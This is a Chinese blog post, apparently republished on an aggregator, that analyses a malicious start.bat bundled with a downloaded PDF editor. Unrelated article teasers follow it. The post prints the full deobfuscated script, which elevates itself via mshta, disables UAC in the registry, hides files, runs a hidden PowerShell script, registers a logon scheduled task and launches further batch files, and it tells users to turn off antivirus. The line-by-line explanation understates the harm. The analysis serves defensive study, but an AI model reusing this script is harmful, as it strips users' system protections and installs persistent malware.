记录一次病毒启动脚本

在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者:
病毒目录

病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理文件的扩展名改为.doc,然后双击就用word打开了,因为这个批处理加密是利用混淆编码的原理加密的,而word能识别很多编码,所以用word打开就可以看到真容了,打开文件,完整的的病毒启动内容脚本如下:

@echo offPUSHD %~DP0 & cd /d "%~dp0"
%1 %2mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:targetreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nulcd /d bin 
attrib +s +h PDFeditorPortable.execd /d re\libstart powershell -windowstyle hidden .\add.ps1 >nul 2>nulfor /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%iif %f% equ 5 (cd ..cd ..start PDFeditorPortable.execd re\libSchTasks /Create /SC ONLOGON /delay 0005:00 /TN "CrashReporting" /TR "%CD%\CrashReporting.bat" /f >nul 2>nul) else (echo=echo 运行过程被杀软干扰,可通过以下方法恢复:echo=echo 1、检查是否被杀毒软件隔离,如被隔离,请恢复并添加进信任区后再运行软件echo=echo 2、方法1如果不行,请关闭杀软,重新解压原本压缩文件,再运行软件echo=pause
)setlocal enabledelayedexpansion
set line=0
for /f  %%a in ('wmic cpu get NumberOfLogicalProcessors') do (
set /a line+=1
if !line!==2 set A=%%a
)set /a B = %A% / 2set fn=CrashReporting2.bat >nul 2>nul
(for /f "tokens=*" %%i in (%fn%) do (
set s=%%i
set s=!s:20=%B%!
echo !s!))>temp1126.txt
move /y temp1126.txt "%fn%" >nul 2>nulcall CrashReporting2.batexit

这段代码是一个 Windows 批处理脚本,主要用于修改系统注册表设置、启动程序并处理一些与安全相关的配置。以下是对代码的逐行解释:

代码解析

  1. @echo off: 关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。

  2. PUSHD %~DP0 & cd /d "%~dp0":

    • PUSHD %~DP0:将当前目录更改为脚本所在的目录。
    • cd /d "%~dp0":确保切换到该目录。
  3. %1 %2: 执行传递给脚本的第一个和第二个参数。

  4. mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof:

    • 使用 mshta 运行 VBScript,以管理员权限重新执行当前脚本,并跳转到 :target 标签。
    • window.close 在执行后关闭窗口。
    • &goto :eof 确保脚本在此处结束,不继续执行后面的代码。
  5. :target: 标签,后面的代码将在跳转到此标签时执行。

  6. 修改注册表:

    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul:
      • 将管理员的用户帐户控制 (UAC) 提示行为设置为 0(关闭提示)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul:
      • 禁用用户帐户控制 (UAC)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul:
      • 关闭安全桌面上的提示。
  7. cd /d bin: 切换到 bin 目录。

  8. attrib +s +h PDFeditorPortable.exe: 将 PDFeditorPortable.exe 文件设置为系统文件和隐藏文件。

  9. cd /d re\lib: 切换到 re\lib 目录。

  10. start powershell -windowstyle hidden .\add.ps1 >nul 2>nul:

    • 在隐藏窗口中启动一个 PowerShell 脚本 add.ps1,并将输出重定向到空设备。
  11. for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i:

    • 计算当前目录及子目录下的文件数量,并将结果存储在变量 f 中。
  12. 条件判断:

    • if %f% equ 5 (...) else (...): 如果文件数量等于 5,则执行括号内的命令,否则执行 else 部分。
    • 如果文件数量为 5,切换到上级目录,启动 PDFeditorPortable.exe,并创建一个名为 CrashReporting 的计划任务。
    • 如果文件数量不为 5,输出提示信息,建议用户检查杀毒软件的干扰。
  13. 获取逻辑处理器数量:

    • 通过 wmic cpu get NumberOfLogicalProcessors 获取逻辑处理器数量,并将其存储在变量 A 中。
    • 计算 BA 的一半。
  14. 更新 CrashReporting2.bat 文件:

    • CrashReporting2.bat 文件中的某些内容替换为计算得到的 B 值,并将结果输出到临时文件 temp1126.txt 中,最后移动回原文件。
  15. 调用 CrashReporting2.bat: 执行 CrashReporting2.bat 文件。

  16. exit: 结束批处理脚本的执行。

总结

这个批处理脚本的主要功能是:

  • 修改系统的 UAC 设置以降低安全性。
  • 启动和配置某个 PDF 编辑器。
  • 处理文件数量检查,确保程序正常运行。
  • 更新并执行一个名为 CrashReporting2.bat 的脚本。

由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇博文:https://mp.csdn.net/mp_blog/creation/success/142697281

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/880970.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenMV与STM32通信全面指南

目录 引言 一、OpenMV和STM32简介 1.1 OpenMV简介 1.2 STM32简介 二、通信协议概述 三、硬件连接 3.1 硬件准备 3.2 引脚连接 四、软件环境搭建 4.1 OpenMV IDE安装 4.2 STM32开发环境 五、UART通信实现 5.1 OpenMV端编程 5.2 STM32端编程 六、SPI通信实现 6.1 …

查缺补漏----I/O中断处理过程

中断优先级包括响应优先级和处理优先级,响应优先级由硬件线路或查询程序的查询顺序决定,不可动态改变。处理优先级可利用中断屏蔽技术动态调整,以实现多重中断。下面来看他们如何运用在中断处理过程中: 中断控制器位于CPU和外设之…

动态规划最长上升子序列问题讲解和【题解】——最长上升子序列

动态规划最长上升子序列讲解和题解——最长上升子序列 最长上升子序列问题讲解1.概念解析2.举例了解3.示例程序 最长上升子序列题目描述输入格式输出格式输入输出样例输入 #1输出 #1 提示思路解析 最长上升子序列问题讲解 1.概念解析 最长上升子序列 ( L o n g e s…

微服务sentinel解析部署使用全流程

sentinel源码地址: 介绍 alibaba/Sentinel Wiki GitHub sentinel官方文档: https://sentinelguard.io/zh-cn/docs/introduction.html Sprong Cloud alibaba Sentinel文档【小例子】 : Sentinel alibaba/spring-cloud-alibaba Wiki GitHub 目录 1、…

C# + SQLiteExpert 进行(cipher)加密数据库开发+Costura.Fody 清爽发布

一:让 SQLiteExpert 支持(cipher)加密数据库 SQLiteExpert 作为SQlite 的管理工具,默认不支持加密数据库的,使其成为支持(cipher)加密数据库的管理工具,需要添加e_sqlcipher.dll &…

Android-Handle消息传递和线程通信

本文为作者学习笔记,如有误,请各位大佬指点 目录 一、同步异步 二、Java多线程通信 三、Handler是什么 四、Handler相关的类 五、Handler常用方法 1. 发送消息 2. 接收处理消息 3. 切换线程 六、使用Handler 使用Handler更新UI 使用Handler延…

蓝桥杯【物联网】零基础到国奖之路:十八. 扩展模块之光敏和AS312

蓝桥杯【物联网】零基础到国奖之路:十八.扩展模块之光敏和AS312 第一节 硬件解读第二节 CubeMX配置第二节 代码 第一节 硬件解读 光敏和AS312如下图: 光敏电阻接到了扩展模块的5号引脚,5号引脚接了2个电阻,R8和光敏电阻。我们通过ADC读取这…

Python 从入门到实战33(使用MySQL)

我们的目标是:通过这一套资料学习下来,通过熟练掌握python基础,然后结合经典实例、实践相结合,使我们完全掌握python,并做到独立完成项目开发的能力。 上篇文章我们讨论了数据库编程接口操作的相关知识。今天我们将学习…

ASP.NET Zero 多租户介绍

ASP.NET Zero 是一个基于 ASP.NET Core 的应用程序框架,它提供了多租户支持,以下是关于 ASP.NET Zero 多租户的介绍: 一、多租户概念 多租户是一种软件架构模式,允许多个客户(租户)共享同一套软件应用程序…

探索TOGAF理论的实践应用:企业数字化转型的深度指南

数字化转型的迫切性与路径选择 随着全球化进程和技术革命的加速,企业正面临前所未有的挑战和机遇。数字化转型已成为企业保持竞争力、创新业务模式、优化客户体验的核心手段。然而,企业在实施数字化转型时,往往面临路径不清、技术与业务脱节…

《Linux从小白到高手》理论篇(七):Linux的时间管理运行级别启动过程原理详解

List item 本篇将介绍Linux的时间管理&运行级别相关知识,并将深入介绍Linux的启动过程及原理。 Linux的时间管理 Linux 时钟分为系统时钟(System Clock)和硬件(Real Time Clock,简称 RTC)时钟。系统时…

Linux驱动开发(速记版)--设备树插件

第六十八章 设备树插件介绍 Linux 4.4之后引入了动态设备树,其中的设备树插件(Device Tree Overlay)是一种扩展机制,允许在运行时动态添加、修改或删除设备节点和属性。 设备树插件机制通过DTS(设备树源文件&#xff0…

protobuf 讲解

一、序列化概念回顾 二、什么是PB 将结构化数据进行序列化的一种方式 三、PB的特点 语言无关、平台无关:即PB支持Java,C、Python等多种语言。支持多个平台 高效:即比XML更小,更快,更为简单。 扩展性、兼容性好&am…

WPF之UI进阶--控件样式与样式模板及词典

WPF的优势之一就是能够更加容易快捷的对窗体和控件的外面进行改造,换句话说,那就是UI设计个性化更加容易。主要是借助了样式、模板及词典来实现的。那么本篇博文就一一对他们进行介绍。 文章目录 一、样式1: 定义样式2: 使用Setter设置属性关于Property和…

C或C++判断指针是否指向同一块内存

有时需要判断指针是否指同一块内存,例如设计字符串时: (1)insert函数 (2) replace函数 (3)assign函数 难点是迭代器,判断是否同一个迭代器时,需要你在设计迭代器时加…

Kubernetes-环境篇-01-mac开发环境搭建

1、brew安装 参考知乎文章:https://zhuanlan.zhihu.com/p/111014448 苹果电脑 常规安装脚本(推荐 完全体 几分钟安装完成) /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"苹果电脑 极…

Rstudio:强大的R语言集成开发环境(IDE)

Rstudio 应该是 R 语言使用的标配,尽管 Rstudio 的母公司 Posit 推出了新一代的集成开发环境 Positron,但其还处于开发阶段。作为用户不妨让其成熟后再使用,现阶段还是 Rstudio 更稳定。 如果你在生物信息学或统计学领域工作,R语言…

Python | Leetcode Python题解之第455题分发饼干

题目&#xff1a; 题解&#xff1a; class Solution:def findContentChildren(self, g: List[int], s: List[int]) -> int:g.sort()s.sort()m, n len(g), len(s)i j count 0while i < m and j < n:while j < n and g[i] > s[j]:j 1if j < n:count 1i …

uni-app - - - - -vue3使用i18n配置国际化语言

uni-app - - - - -使用i18n配置国际化语言 1. 安装vue-i18n2. 配置文件2.1 创建如下文件2.2 文件配置2.3 main文件导入i18n 3. 页面内使用3.1 template内直接使用3.2 变量接收使用 1. 安装vue-i18n npm install vue-i18n --save2. 配置文件 2.1 创建如下文件 locales文件夹里…

水泵模块(5V STM32)

目录 一、介绍 二、传感器原理 1.尺寸介绍 2.继电器控制水泵电路原理图 三、程序设计 main.c文件 bump.h文件 bump.c文件 四、实验效果 五、资料获取 项目分享 一、介绍 水泵模块(bump)通常是指用于液体输送系统的组件&#xff0c;它负责将水或其他流体从低处提…